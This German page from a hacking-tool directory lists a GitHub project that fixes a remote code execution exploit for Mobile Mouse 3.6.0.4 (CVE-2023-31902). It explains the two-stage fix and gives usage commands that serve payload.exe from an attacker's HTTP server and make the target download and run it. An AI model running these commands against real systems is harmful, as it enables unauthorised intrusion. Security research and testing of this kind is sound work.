Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/lypd0/mouseserver-exploit
SchwachstellenanalyseExploitationPenetrationstestsRed Teaming
GitHublypd0/mouseserver-exploit

mouseserver-exploit

Mobile Mouse 3.6.0.4 - Remote Code Execution - CVE-2023-31902

Repository anzeigen
11vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Mobile Mouse 3.6.0.4 RCE – Korrektur

Eine korrigierte Version des Remote-Code-Execution-Exploits für Mobile Mouse 3.6.0.4, veröffentlicht als EDB-51010.

Schwachstelle

  • CVE: CVE-2023-31902
  • Betroffene Version: Mobile Mouse 3.6.0.4
  • Standard-Port: TCP/9099

Was korrigiert wurde

Der ursprüngliche Exploit lädt die Payload zwar erfolgreich herunter, kann sie aber möglicherweise nicht ausführen, da beide Stufen dieselbe TCP-Verbindung verwenden.

Diese Version:

  • Lädt die Payload über die erste Sitzung herunter
  • Wartet, bis der Download abgeschlossen ist
  • Öffnet eine neue Verbindung
  • Wiederholt den Mobile-Mouse-Handshake
  • Führt die heruntergeladene Payload aus

Sie verwendet außerdem sendall(), ordnungsgemäß maskierte Windows-Pfade, Socket-Timeouts und eine grundlegende Fehlerbehandlung.

Verwendung

Starten Sie einen HTTP-Server im Payload-Verzeichnis:

root@kitploit:~
python3 -m http.server 8080

Führen Sie den Exploit aus:

root@kitploit:~
python3 exploit.py \
  --target 192.168.1.50 \
  --lhost 192.168.1.10 \
  --file payload.exe

Haftungsausschluss

Dieses Projekt ist ausschließlich für autorisierte Sicherheitstests und zu Bildungszwecken gedacht. Verwenden Sie es nicht gegen Systeme ohne ausdrückliche Erlaubnis.

Tool herunterladen